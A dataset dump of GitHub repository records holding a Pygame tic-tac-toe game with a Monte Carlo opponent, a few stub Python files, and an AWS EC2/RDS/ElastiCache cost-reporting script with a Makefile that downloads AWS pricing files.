repo_name
stringlengths
5
114
repo_url
stringlengths
24
133
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
directory_id
stringlengths
40
40
branch_name
stringclasses
209 values
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
9.83k
683M
star_events_count
int64
0
22.6k
fork_events_count
int64
0
4.15k
gha_license_id
stringclasses
17 values
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_language
stringclasses
115 values
files
listlengths
1
13.2k
num_files
int64
1
13.2k
Rockybilly/Tic-Tac-Toe
https://github.com/Rockybilly/Tic-Tac-Toe
014f744bbe219af6f548134c71c10a9f3242ffbd
984238c23a57de192c3d8f617d0df8bdf3cad1f2
d292b203d4d37ecdec09b993b55b0efbf4d04fc0
refs/heads/master
2021-01-10T16:13:48.802635
2016-03-28T10:26:44
2016-03-28T10:26:44
54,884,430
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4788540303707123, "alphanum_fraction": 0.5066507458686829, "avg_line_length": 30.869565963745117, "blob_id": "972bd0d96b8a5f2430ac65327aa223e14acf473e", "content_id": "426cda40ff53f66ff4b9cd62362d1c5099b4288f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5864, "license_type": "no_license", "max_line_length": 116, "num_lines": 184, "path": "/Tic.py", "repo_name": "Rockybilly/Tic-Tac-Toe", "src_encoding": "UTF-8", "text": "\"\"\"\nTic-Tac-Toe Implementation.\nTwo-Player Version No AI.\n\"\"\"\n\nimport sys\nimport time\nimport pygame\n\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\n\nSIZE = 420 # Screen size\nINTERVAL = SIZE / 3\nPLAYERS = [\"X\", \"O\"]\n\npygame.display.set_caption(\"Tic Tac Toe\")\n\nclass TicTacToe(object):\n \"\"\"\n The Class for the game.\n \"\"\"\n \n def main(self):\n \"\"\"\n The main game function, includes the main loop.\n \"\"\"\n \n pygame.init()\n\n screen = pygame.display.set_mode((SIZE, SIZE)) # Initializing square scree\n letters = pygame.image.load(\"XO.png\")\n\n gamemode = \"game\"\n sleep = False\n\n board = [[0, 0, 0],\n [0, 0, 0],\n [0, 0, 0]]\n\n turn = 0\n\n while True: # The main game loop.\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n if event.type == pygame.MOUSEBUTTONDOWN:\n mouse_pos = pygame.mouse.get_pos()\n\n if gamemode == \"game\":\n board, turn = self.board_click(board, mouse_pos, turn)\n if self.check_win(board)[0]:\n sleep = True\n winner = self.check_win(board)[1] # Win evaluated twice, should not use on larger lists.\n\n elif gamemode == \"end\":\n board, turn, gamemode, winner = self.end_click(board, turn, gamemode, mouse_pos, winner)\n\n if gamemode == \"game\":\n self.draw_game(screen, board, letters)\n if sleep: # One second waiting after game finishes.\n time.sleep(1)\n gamemode = \"end\"\n sleep = False\n elif gamemode == \"end\":\n self.draw_end_game(screen, winner)\n\n def board_click(self, board, pos, turn):\n \"\"\"\n The function to change board using the mouse position input.\n \"\"\"\n\n row, col = pos[1] / INTERVAL, pos[0] / INTERVAL\n if board[row][col] == 0: # Preventing selecting same square twice\n board[row][col] = PLAYERS[turn]\n turn = (turn + 1) % 2 # Increment team \n return board, turn\n\n def end_click(self, board, turn, gamemode, pos, winner):\n \"\"\"\n The function to restart the game using mouse input(Restart Button).\n \"\"\"\n\n if 85 <= pos[0] <= 355 and 300 <= pos[1] <= 360:\n board = [[0, 0, 0],\n [0, 0, 0],\n [0, 0, 0]]\n turn = 0\n gamemode = \"game\"\n winner = None\n\n return board, turn, gamemode, winner\n\n def check_win(self, board):\n \"\"\"\n The function to check winning conditions.\n \"\"\"\n\n won = False\n winner = None\n\n for row in board: # Check rows\n values = set(row)\n if len(values) == 1 and 0 not in values:\n won = True\n winner = list(values)[0]\n return won, winner\n\n for col in zip(*board): # Check columns\n values = set(col)\n if len(values) == 1 and 0 not in values:\n won = True\n winner = list(values)[0]\n return won, winner \n\n values = set([board[0][0], board[1][1], board[2][2]])\n if len(values) == 1 and 0 not in values: # Check main diagonal\n won = True\n winner = list(values)[0]\n return won, winner\n\n values = set([board[0][2], board[1][1], board[2][0]])\n if len(values) == 1 and 0 not in values: # Check anti main diagonal\n won = True\n winner = list(values)[0]\n return won, winner\n\n finished = all([True if 0 not in row else False for row in board]) # Checking if the board is full.\n\n if finished and not won: # Table full, but no winner.\n won = True # Not won, but a Tie.\n\n return won, winner\n\n def draw_game(self, surface, board, letters):\n \"\"\"\n The function that draws main game to the screen.\n \"\"\"\n\n line_width = 2\n\n surface.fill(WHITE)\n\n for pos in range(INTERVAL, SIZE - SIZE%3, INTERVAL): # Draw board\n pygame.draw.line(surface, BLACK, (pos, 0), (pos, SIZE), line_width) # Horizontal lines\n pygame.draw.line(surface, BLACK, (0, pos), (SIZE, pos), line_width) # Vertical lines\n\n for row in range(3): # Draw letters\n for col in range(3):\n value = board[row][col]\n if value != 0:\n ind = PLAYERS.index(value)\n surface.blit(letters, (col*INTERVAL + 5, row*INTERVAL + 5), (ind*INTERVAL, 0, 120, 120))\n\n pygame.display.flip()\n\n def draw_end_game(self, surface, winner):\n \"\"\"\n The function that draws end game to the screen.\n \"\"\"\n\n over_font = pygame.font.SysFont(\"monospace\", 60)\n winner_font = pygame.font.SysFont(\"monospace\", 25)\n surface.fill(BLACK)\n\n if winner == \"X\":\n surface.blit(over_font.render(\"Game Over!\", 20, WHITE), (38, 60))\n surface.blit(winner_font.render(\"X is the victor.\", 10, WHITE), (90, 150))\n elif winner == \"O\":\n surface.blit(over_font.render(\"Game Over!\", 20, WHITE), (38, 60))\n surface.blit(winner_font.render(\"O is the victor.\", 10, WHITE), (90, 150))\n elif winner == None:\n surface.blit(over_font.render(\"It's a Tie!\", 20, WHITE), (20, 60))\n \n pygame.draw.rect(surface, RED ,(85, 300, 260, 60), 2)\n surface.blit(winner_font.render(\"RESTART ?\", 25, GREEN), (155, 315))\n pygame.display.flip()\n\n\nif __name__ == \"__main__\":\n game = TicTacToe()\n game.main()\n" }, { "alpha_fraction": 0.48947930335998535, "alphanum_fraction": 0.49714693427085876, "avg_line_length": 29.313512802124023, "blob_id": "1e63c52369f11a0945a1211cf7e1c55be8b2b534", "content_id": "2c0c28adcd08bd4949896bb36051e4b119c05399", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5608, "license_type": "no_license", "max_line_length": 112, "num_lines": 185, "path": "/smart_tic.pyw", "repo_name": "Rockybilly/Tic-Tac-Toe", "src_encoding": "UTF-8", "text": "\"\"\"\nBasic AI implementation for tic-tac-toe\nUsing the Monte Carlo method.\n\"\"\"\n\nimport random\nfrom collections import defaultdict\nfrom copy import deepcopy\nfrom Tic import *\n\n\nclass MonteTicTacToe(TicTacToe):\n \"\"\"\n The tic-tac-toe class inheriting from the old tic-tac-toe game.\n \"\"\"\n\n def main(self):\n \"\"\"\n The main game method, includes the main loop.\n \"\"\"\n\n pygame.init()\n\n screen = pygame.display.set_mode((SIZE, SIZE)) # Initializing square scree\n letters = pygame.image.load(\"XO.png\")\n\n gamemode = \"game\"\n sleep = False\n\n board = [[0, 0, 0],\n [0, 0, 0],\n [0, 0, 0]]\n\n turn = 0\n\n while True: # The main game loop.\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n if event.type == pygame.MOUSEBUTTONDOWN:\n mouse_pos = pygame.mouse.get_pos()\n\n if gamemode == \"game\":\n board, turn = self.board_click(deepcopy(board), mouse_pos, turn)\n self.draw_game(screen, board, letters)\n if self.check_win(board)[0]:\n sleep = True\n winner = self.check_win(board)[1] # Win evaluated twice!\n elif turn == 1:\n board, turn = self.move_computer(deepcopy(board), turn)\n if self.check_win(board)[0]:\n sleep = True\n winner = self.check_win(board)[1] # Here too\n elif gamemode == \"end\":\n board, turn, gamemode, winner = self.end_click(board, turn, gamemode, mouse_pos, winner)\n\n if gamemode == \"game\":\n self.draw_game(screen, board, letters)\n if sleep: # One second waiting after game finishes.\n time.sleep(1)\n gamemode = \"end\"\n sleep = False\n elif gamemode == \"end\":\n self.draw_end_game(screen, winner)\n\n\n def possible_moves(self, board):\n \"\"\"\n The method that returns empty squares in the board.\n \"\"\"\n\n pos_moves = []\n\n for row in range(3):\n for col in range(3):\n if board[row][col] == 0:\n pos_moves.append((row, col))\n return pos_moves\n\n\n def random_game(self, board, turn):\n \"\"\"\n The method that takes the current board and ends it with a random result.\n \"\"\"\n\n won, winner = self.check_win(board)\n moves = self.possible_moves(board)\n\n while not won:\n\n current_move = random.choice(moves)\n board[current_move[0]][current_move[1]] = PLAYERS[turn]\n\n moves.remove(current_move)\n turn = (turn + 1) % 2 # Increment team\n won, winner = self.check_win(board)\n\n return board, winner\n\n\n def score_board(self, board, winner):\n \"\"\"\n The method that returnes the score of a certain board.\n \"\"\"\n\n board_scores = defaultdict(int)\n\n if winner is None:\n return board_scores\n\n if winner == \"O\":\n for row in range(3):\n for col in range(3):\n #if board[row][col] == 0:\n #board_scores[(row, col)]\n if board[row][col] == \"X\":\n board_scores[(row, col)] -= 1\n elif board[row][col] == \"O\":\n board_scores[(row, col)] += 1\n elif winner == \"X\":\n for row in range(3):\n for col in range(3):\n #if board[row][col] == 0:\n #board_scores[(row, col)]\n if board[row][col] == \"X\":\n board_scores[(row, col)] += 1\n elif board[row][col] == \"O\":\n board_scores[(row, col)] -= 1\n\n return board_scores\n\n\n def update_grid_scores(self, board_scores, new_scores):\n \"\"\"\n The method that updates stored board scores given the new scores.\n \"\"\"\n\n for key in new_scores:\n board_scores[key] += new_scores[key]\n\n return board_scores\n\n\n def get_best_move(self, board, board_scores):\n \"\"\"\n The method that finds best move to make using the board scores we assinged\n at random_game method.\n \"\"\"\n\n moves = self.possible_moves(board)\n\n sorted_moves = sorted(board_scores, key=lambda x: board_scores[x], reverse=True)\n\n if sorted_moves == []:\n return random.choice(moves)\n\n for move in sorted_moves:\n if move in moves:\n return move\n\n\n def move_computer(self, board, turn):\n \"\"\"\n The method that makes that computer play using the best move returned.\n \"\"\"\n \n trial_number = 5000 # Hardness level\n board_scores = defaultdict(int)\n\n for _ in xrange(trial_number):\n ended_rand_game, rand_winner = self.random_game(deepcopy(board), turn)\n board_scores = self.update_grid_scores(board_scores, self.score_board(ended_rand_game, rand_winner))\n \n move = self.get_best_move(board, board_scores)\n\n board[move[0]][move[1]] = PLAYERS[turn]\n turn = (turn + 1) % 2 # Increment team\n\n #time.sleep(0.5)\n return board, turn\n\n\nif __name__ == \"__main__\":\n game = MonteTicTacToe()\n game.main()\n" } ]
2
Pandosity/COVID-19
https://github.com/Pandosity/COVID-19
32ab93f94177bd0f59eb6849104418fc34e0368e
27e3e9d97bf19137264996f11fd3117065489694
5c4078aa07f58fd14be0f050a7fbbbd97a5054aa
refs/heads/master
2021-03-22T09:54:16.266654
2020-03-14T21:28:02
2020-03-14T21:28:02
247,354,382
0
0
null
2020-03-14T21:15:35
2020-03-14T21:13:01
2020-03-14T20:28:12
null
[ { "alpha_fraction": 0.3723404109477997, "alphanum_fraction": 0.5106382966041565, "avg_line_length": 13, "blob_id": "dc6ffd20880766406c11c32711c4a6f0dd2387aa", "content_id": "4d8204d440e6ad5c62fb1282cedd22297d1faff3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 94, "license_type": "no_license", "max_line_length": 35, "num_lines": 6, "path": "/csse_covid_19_data/csse_covid_19_time_series/deathrate_by_country.py", "repo_name": "Pandosity/COVID-19", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Mar 14 22:26:57 2020\r\n\r\n@author: dario\r\n\"\"\"\r\n\r\n\r\n" } ]
1
AndresToro18/GitProject
https://github.com/AndresToro18/GitProject
d50063b81b65a7378c9b60305c603c40e13f7374
ec478ac94aa8c7acdfe0d0db6de837a2c71b9718
d83866fa21bc1e3c00f4750a98f4928c0bafedea
refs/heads/master
2020-04-03T18:38:08.931516
2018-10-31T17:10:41
2018-10-31T17:10:41
155,491,571
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.36666667461395264, "alphanum_fraction": 0.4333333373069763, "avg_line_length": 9.333333015441895, "blob_id": "9e05e5c8ff29bde1dd36fe9f45fa919a82444cef", "content_id": "998551b1eb4b2f5da3ee61592c24e5bf68d63ae6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 30, "license_type": "no_license", "max_line_length": 12, "num_lines": 3, "path": "/Prueba.py", "repo_name": "AndresToro18/GitProject", "src_encoding": "UTF-8", "text": "a = \"Hola Mundo\"\nb = 17\nc = \"Casa\"" } ]
1
pulseenergy/price-ec2
https://github.com/pulseenergy/price-ec2
bc099e3f49980ebcbd07bc15561f7b0d33a8779b
6430febad326031961f96f28450518ef23888c6d
252bc6f9e1a4c6cfa2e1bf34af8adb72fcbab344
refs/heads/master
2021-01-12T08:14:31.646530
2017-04-07T00:50:29
2017-04-07T00:50:29
76,518,297
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.5820671916007996, "alphanum_fraction": 0.588005542755127, "avg_line_length": 33.61481475830078, "blob_id": "43763ca1bde0d20a42430ded024dfa81fc0214bc", "content_id": "8ca2bb985c6abb39485917511713d3d8a2dbb2f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18692, "license_type": "no_license", "max_line_length": 194, "num_lines": 540, "path": "/price-ec2.py", "repo_name": "pulseenergy/price-ec2", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport argparse\nimport json\nimport math\nimport re\nfrom collections import defaultdict\nfrom datetime import datetime, timedelta\n\nimport boto3\nfrom cached_property import cached_property\nfrom tabulate import tabulate, tabulate_formats\n\nALL_REGIONS = ['us-east-1', 'us-west-2', 'eu-west-1', 'ca-central-1']\n\n# is there any way to get this from boto?\nregion_usagetype = {\n 'us-east-1': '',\n 'us-east-2': 'USE2-',\n 'us-west-2': 'USW2-',\n 'eu-west-1': 'EU-',\n 'eu-west-2': 'EUW2-',\n 'ca-central-1': 'CAN1-',\n}\n\n\nclass Offers:\n @cached_property\n def ec2(self):\n with open('offers/v1.0/aws/AmazonEC2/current/index.json') as fh:\n return json.load(fh)\n\n @cached_property\n def rds(self):\n with open('offers/v1.0/aws/AmazonRDS/current/index.json') as fh:\n return json.load(fh)\n\n @cached_property\n def elasticache(self):\n with open('offers/v1.0/aws/AmazonElastiCache/current/index.json') as fh:\n return json.load(fh)\n\n\noffers = Offers()\n\n\nclass Instance:\n def __init__(self, id, name, type, state, az):\n self.id = id\n self.name = name\n self.type = type\n self.state = state\n self.az = az\n self.cpu_usage = None\n\n @property\n def running(self):\n return True\n\n @property\n def region(self):\n return self.az[:-1]\n\n @property\n def total_storage(self):\n return 0\n\n def unit_price(self):\n raise NotImplementedError()\n\n @cached_property\n def instance_costs(self):\n return list(self.unit_price())\n\n @cached_property\n def storage_costs(self):\n return [Cost(0, 'Mo')]\n\n def simple_costs(self):\n instance_cost = just_one(self.instance_costs, 'Hrs')\n storage_cost = just_one(self.storage_costs, 'Mo')\n total_cost = instance_cost.per_day() + storage_cost.per_day()\n if self.running:\n actual_cost = total_cost\n else:\n actual_cost = storage_cost\n return instance_cost, storage_cost, total_cost, actual_cost\n\n @property\n def cloudwatch_namespace(self):\n return self.CLOUDWATCH_NAMESPACE\n\n @property\n def cloudwatch_dimensions(self):\n return [{\n 'Name': self.ID_DIMENSION,\n 'Value': self.id\n }]\n\n\nclass EC2Instance(Instance):\n CLOUDWATCH_NAMESPACE = 'AWS/EC2'\n ID_DIMENSION = 'InstanceId'\n\n def __init__(self, id, name, type, state, az):\n super().__init__(id, name, type, state, az)\n self.volumes = []\n\n @property\n def running(self):\n return self.state == 'running'\n\n @property\n def total_storage(self):\n return sum(v.size for v in self.volumes)\n\n def unit_price(self):\n if self.type == 'm1.small':\n search_type = region_usagetype[self.region] + 'BoxUsage'\n else:\n search_type = region_usagetype[self.region] + 'BoxUsage:' + self.type\n\n skus = [p['sku'] for p in offers.ec2['products'].values() if p['attributes']['usagetype'] == search_type and p['attributes']['operatingSystem'] == 'Linux']\n if len(skus) != 1:\n raise Exception('found {} skus for {} in {} (expected 1)'.format(len(skus), self.type, self.region))\n\n for term in offers.ec2['terms']['OnDemand'][skus[0]].values():\n for dimension in term['priceDimensions'].values():\n yield Cost(dimension['pricePerUnit']['USD'], dimension['unit'])\n\n @cached_property\n def storage_costs(self):\n costs = defaultdict(float)\n for volume in self.volumes:\n volume_costs = list(volume.unit_price(self.region))\n for c in volume_costs:\n if c.per.startswith('gb-'):\n costs[c.per[3:]] += c.dollars * volume.size\n elif c.per.startswith('iops-'):\n costs[c.per[5:]] += c.dollars * volume.iops\n else:\n costs[c.per] += c.dollars\n if len(costs) == 0:\n return [Cost(0, 'Mo')]\n return [Cost(b, a) for (a, b) in costs.items()]\n\n @staticmethod\n def from_json(json):\n id = json['InstanceId']\n name = '???'\n for tag in json.get('Tags', []):\n if tag['Key'] == 'Name':\n name = tag['Value']\n break\n type = json['InstanceType']\n state = json['State']['Name']\n az = json['Placement']['AvailabilityZone']\n instance = EC2Instance(id, name, type, state, az)\n for mapping in json['BlockDeviceMappings']:\n instance.volumes.append(Volume(mapping['Ebs']['VolumeId']))\n return instance\n\n\nclass Volume:\n def __init__(self, id):\n self.id = id\n self.type = None\n self.size = None\n self.iops = None\n\n def unit_price(self, region):\n if self.type == 'io1':\n search_types = ['EBS:VolumeUsage.piops', 'EBS:VolumeP-IOPS.piops']\n elif self.type == 'standard':\n search_types = ['EBS:VolumeUsage']\n else: # gp2, st1, sc1\n search_types = ['EBS:VolumeUsage.' + self.type]\n search_types = [region_usagetype[region] + t for t in search_types]\n\n skus = [p['sku'] for p in offers.ec2['products'].values() if p['attributes']['usagetype'] in search_types]\n if len(skus) != len(search_types):\n raise Exception('found {} skus for {} in {} (expected {})'.format(len(skus), self.type, region, len(search_types)))\n\n for sku in skus:\n for term in offers.ec2['terms']['OnDemand'][sku].values():\n for dimension in term['priceDimensions'].values():\n yield Cost(dimension['pricePerUnit']['USD'], dimension['unit'])\n\n\nclass DBInstance(Instance):\n CLOUDWATCH_NAMESPACE = 'AWS/RDS'\n ID_DIMENSION = 'DBInstanceIdentifier'\n\n def __init__(self, id, name, type, engine, state, az, multi_az, storage_type, size, iops):\n super().__init__(id, name, type, state, az)\n self.engine = engine\n self.multi_az = multi_az\n self.storage_type = storage_type\n self.size = size\n self.iops = iops\n\n @property\n def total_storage(self):\n return self.size\n\n def unit_price(self):\n if self.multi_az:\n search_type = region_usagetype[self.region] + 'Multi-AZUsage:' + self.type\n else:\n search_type = region_usagetype[self.region] + 'InstanceUsage:' + self.type\n\n if self.engine == 'postgres':\n search_engine = 'PostgreSQL'\n elif self.engine == 'mysql':\n search_engine = 'MySQL'\n else:\n search_engine = self.engine\n\n skus = [p['sku'] for p in offers.rds['products'].values() if p['attributes']['usagetype'] == search_type and p['attributes']['databaseEngine'] == search_engine]\n if len(skus) != 1:\n raise Exception('found {} skus for {} {} in {} (expected 1)'.format(len(skus), self.type, self.engine, self.region))\n\n for term in offers.rds['terms']['OnDemand'][skus[0]].values():\n for dimension in term['priceDimensions'].values():\n yield Cost(dimension['pricePerUnit']['USD'], dimension['unit'])\n\n @cached_property\n def storage_costs(self):\n return self._storage_costs()\n\n def _storage_costs(self, override_region=None):\n region = override_region or self.region\n if self.multi_az:\n search_type_prefix = 'RDS:Multi-AZ-'\n else:\n search_type_prefix = 'RDS:'\n if self.storage_type == 'io1':\n search_types = ['PIOPS-Storage', 'PIOPS']\n elif self.storage_type == 'gp2':\n search_types = ['GP2-Storage']\n elif self.storage_type == 'standard':\n search_types = ['StorageUsage']\n else:\n raise Exception('unknown search type for ' + self.storage_type)\n search_types = [region_usagetype[region] + search_type_prefix + t for t in search_types]\n\n skus = [p['sku'] for p in offers.rds['products'].values() if p['attributes']['usagetype'] in search_types]\n # most regions are missing storage costs (!)\n # only ca-central-1, us-east-2, and eu-west-2 show up in the json\n if len(skus) == 0 and override_region is None:\n if region[:3] == 'us-':\n return self._storage_costs(override_region='us-east-2')\n if region[:3] == 'eu-':\n return self._storage_costs(override_region='eu-west-2')\n return [Cost(math.nan, 'Mo')]\n if len(skus) != len(search_types):\n raise Exception('found {} skus for {}'.format(len(skus), search_types))\n\n costs = defaultdict(float)\n for sku in skus:\n for term in offers.rds['terms']['OnDemand'][sku].values():\n for dimension in term['priceDimensions'].values():\n c = Cost(dimension['pricePerUnit']['USD'], dimension['unit'])\n if c.per.startswith('gb-'):\n costs[c.per[3:]] += c.dollars * self.size\n elif c.per.startswith('iops-'):\n costs[c.per[5:]] += c.dollars * self.iops\n else:\n costs[c.per] += c.dollars\n\n if len(costs) == 0:\n return [Cost(0, 'Mo')]\n return [Cost(b, a) for (a, b) in costs.items()]\n\n @staticmethod\n def from_json(json):\n id = json['DBInstanceIdentifier']\n name = id\n # need to make a second call to client.list_tags_for_resource() to get tags\n # for tag in json.get('Tags', []):\n # if tag['Key'] == 'Name':\n # name = tag['Value']\n # break\n type = json['DBInstanceClass']\n engine = json['Engine']\n state = json['DBInstanceStatus']\n az = json['AvailabilityZone']\n multi_az = json['MultiAZ']\n storage_type = json['StorageType']\n size = json['AllocatedStorage']\n iops = json.get('Iops')\n return DBInstance(id, name, type, engine, state, az, multi_az, storage_type, size, iops)\n\n\nclass CacheInstance(Instance):\n CLOUDWATCH_NAMESPACE = 'AWS/ElastiCache'\n ID_DIMENSION = 'CacheClusterId' # this isn't quite right. we're ignoring CacheNodeId\n\n def __init__(self, id, name, type, state, region, engine):\n super().__init__(id, name, type, state, region)\n self._region = region\n self.engine = engine\n\n @property\n def region(self):\n return self._region\n\n def unit_price(self):\n search_type = region_usagetype[self.region] + 'NodeUsage:' + self.type\n\n skus = [p['sku'] for p in offers.elasticache['products'].values() if p['attributes']['usagetype'] == search_type and p['attributes']['cacheEngine'].lower() == self.engine]\n if len(skus) != 1:\n raise Exception('found {} skus for {} in {} (expected 1)'.format(len(skus), self.type, self.region))\n\n for term in offers.elasticache['terms']['OnDemand'][skus[0]].values():\n for dimension in term['priceDimensions'].values():\n yield Cost(dimension['pricePerUnit']['USD'], dimension['unit'])\n\n @staticmethod\n def from_json(json, region):\n id = json['CacheClusterId']\n name = id\n type = json['CacheNodeType']\n state = json['CacheClusterStatus']\n engine = json['Engine']\n return CacheInstance(id, name, type, state, region, engine)\n\n\nclass Cost:\n _factors = dict(hrs=1, day=24, mo=24*30)\n\n def __init__(self, dollars, per):\n self.dollars = float(dollars)\n self.per = per.lower()\n\n def _convert(self, to):\n to = to.lower()\n if self.per == to:\n return self\n return Cost(self._factors[to] / self._factors[self.per] * self.dollars, to)\n\n def per_hour(self):\n return self._convert('Hrs')\n\n def per_day(self):\n return self._convert('Day')\n\n def per_month(self):\n return self._convert('Mo')\n\n def __str__(self):\n if math.isnan(self.dollars):\n return '?/{}'.format(self.per)\n return '{self.dollars:.3g}/{self.per}'.format(self=self)\n\n def __repr__(self):\n return 'Cost({self.dollars!r}, {self.per!r})'.format(self=self)\n\n def __add__(self, other):\n if self.per != other.per:\n raise Exception(\"can't add {} and {}\".format(self.per, other.per))\n return Cost(self.dollars + other.dollars, self.per)\n\n\ndef fetch_instance_info(client, **kwargs):\n instance_metadata = client.describe_instances(**kwargs)\n\n result = []\n for r in instance_metadata['Reservations']:\n for i in r['Instances']:\n result.append(EC2Instance.from_json(i))\n return result\n\n\ndef fetch_volume_info(client, instances):\n all_volumes = {}\n for instance in instances:\n for volume in instance.volumes:\n all_volumes[volume.id] = volume\n\n volumes = client.describe_volumes(VolumeIds=list(all_volumes.keys()))\n\n for v in volumes['Volumes']:\n volume = all_volumes[v['VolumeId']]\n volume.size = v['Size']\n volume.type = v['VolumeType']\n volume.iops = v.get('Iops')\n\n\ndef fetch_db_info(client, **kwargs):\n db_metadata = client.describe_db_instances(**kwargs)\n\n return [DBInstance.from_json(d) for d in db_metadata['DBInstances']]\n\n\ndef fetch_cache_info(client, **kwargs):\n cache_metadata = client.describe_cache_clusters(**kwargs)\n\n result = []\n for c in cache_metadata['CacheClusters']:\n for i in range(c['NumCacheNodes']):\n result.append(CacheInstance.from_json(c, client.meta.region_name))\n return result\n\n\ndef just_one(costs, per):\n if len(costs) != 1:\n return Cost(math.nan, per)\n return costs[0]\n\n\ndef build_instance_cost_table(instances, include_cpu=False):\n headers = ('name', 'id', 'az', 'type', 'type $/day', 'disk GB', 'disk $/day', 'running $/day', 'state', 'actual $/day')\n if include_cpu:\n headers += ('avg %cpu', 'max %cpu') # hourly, but that's too much text to put in the column heading\n\n def build_row(i):\n instance_cost, storage_cost, total_cost, actual_cost = i.simple_costs()\n row = (i.name, i.id, i.az, i.type, instance_cost.per_day().dollars, i.total_storage, storage_cost.per_day().dollars, total_cost.per_day().dollars, i.state, actual_cost.per_day().dollars)\n if include_cpu:\n if i.cpu_usage and len(i.cpu_usage):\n row += (round(sum(i.cpu_usage) / len(i.cpu_usage), 1), round(max(i.cpu_usage), 1))\n else:\n row += (None, None)\n return row\n\n return headers, [build_row(i) for i in instances]\n\n\ndef print_instance_cost_table(instances, total=True, tablefmt='simple'):\n include_cpu = any(i.cpu_usage for i in instances)\n cost_index = -1\n if include_cpu:\n cost_index = -3\n\n headers, table = build_instance_cost_table(instances, include_cpu=include_cpu)\n # cost decreasing, name increasing\n table.sort(key=lambda x: (-x[cost_index], x[0]))\n if total:\n total_row = ('Total', '', '', '', sum(r[4] for r in table), sum(r[5] for r in table), sum(r[6] for r in table),\n sum(r[7] for r in table), '', sum(r[9] for r in table))\n if include_cpu:\n total_row += (None, None)\n table.append(total_row)\n print(tabulate(table, headers=headers, tablefmt=tablefmt))\n\n\ndef fetch_all_instances(region_name=None):\n client = boto3.client('ec2', region_name=region_name)\n # instances = fetch_instance_info(Filters=[{'Name': 'tag:Environment', 'Values': ['TUS']}])\n instances = fetch_instance_info(client)\n fetch_volume_info(client, instances)\n return instances\n\n\ndef fetch_all_db_instances(region_name=None):\n client = boto3.client('rds', region_name=region_name)\n return fetch_db_info(client)\n\n\ndef fetch_all_cache_instances(region_name=None):\n client = boto3.client('elasticache', region_name=region_name)\n return fetch_cache_info(client)\n\n\ndef print_breakdown(instances):\n count = defaultdict(int)\n cost = defaultdict(float)\n for i in instances:\n instance_cost, storage_cost, total_cost, actual_cost = i.simple_costs()\n\n m = re.search('(...)\\d?(.+?)\\d*$', i.name)\n if m:\n env, cat = m.groups()\n count[(env, cat)] += 1\n cost[(env, cat)] += actual_cost.per_day().dollars\n\n rows = [(k[0], k[1], count[k], cost[k]) for k in count.keys()]\n rows.sort(key=lambda x: (-x[-1], x[0], x[1]))\n print(tabulate(rows))\n\n\ndef fetch_cpu_usage(instances, region_name=None):\n client = boto3.client('cloudwatch', region_name=region_name)\n end_time = datetime.now()\n start_time = end_time + timedelta(weeks=-1)\n\n for i in instances:\n i.cpu_usage = cloudwatch_cpu_usage(client, i.cloudwatch_namespace, i.cloudwatch_dimensions, start_time, end_time)\n\n\ndef cloudwatch_cpu_usage(client, namespace, dimensions, start_time, end_time):\n stats = client.get_metric_statistics(\n Namespace=namespace,\n MetricName='CPUUtilization',\n Dimensions=dimensions,\n StartTime=start_time,\n EndTime=end_time,\n Period=3600, # hourly\n Statistics=['Average'],\n )\n return [p['Average'] for p in stats['Datapoints']]\n\n\ndef main():\n p = argparse.ArgumentParser()\n p.add_argument('--ec2', action='store_true')\n p.add_argument('--rds', action='store_true')\n p.add_argument('--elasticache', action='store_true')\n p.add_argument('--all-services', action='store_true')\n p.add_argument('--region', nargs='+', dest='regions', metavar='REGION')\n p.add_argument('--all-regions', action='store_const', const=ALL_REGIONS, dest='regions')\n p.add_argument('--tablefmt', choices=tabulate_formats)\n p.add_argument('--cpu-usage', action='store_true') # note that this costs money; $0.01 per thousand requests\n\n args = p.parse_args()\n\n # default to showing ec2, if nothing selected\n if not any((args.ec2, args.rds, args.elasticache)):\n args.ec2 = True\n\n all_instances = []\n for region in (args.regions or [None]):\n instances = []\n if args.ec2 or args.all_services:\n instances += fetch_all_instances(region_name=region)\n if args.rds or args.all_services:\n instances += fetch_all_db_instances(region_name=region)\n if args.elasticache or args.all_services:\n instances += fetch_all_cache_instances(region_name=region)\n\n if args.cpu_usage:\n fetch_cpu_usage(instances, region_name=region)\n\n all_instances += instances\n\n print_instance_cost_table(all_instances, tablefmt=args.tablefmt)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.7260536551475525, "alphanum_fraction": 0.7528735399246216, "avg_line_length": 33.79999923706055, "blob_id": "ff85fb88f8eae5910e383a7b60d5cca6c3b6bd83", "content_id": "537222085de37a3fa89aef2d9a55a75924b999cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 522, "license_type": "no_license", "max_line_length": 94, "num_lines": 15, "path": "/Makefile", "repo_name": "pulseenergy/price-ec2", "src_encoding": "UTF-8", "text": "all: .libs offers\n\n.PHONY: offers\noffers:\n\twget -N -r -nH https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/index.json \\\n\t\thttps://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/AmazonEC2/current/index.json \\\n\t\thttps://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/AmazonRDS/current/index.json \\\n\t\thttps://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/AmazonElastiCache/current/index.json\n\nvenv:\n\tvirtualenv -p python3 venv\n\n.libs: requirements.txt venv\n\t./venv/bin/pip install -r requirements.txt\n\ttouch .libs\n" }, { 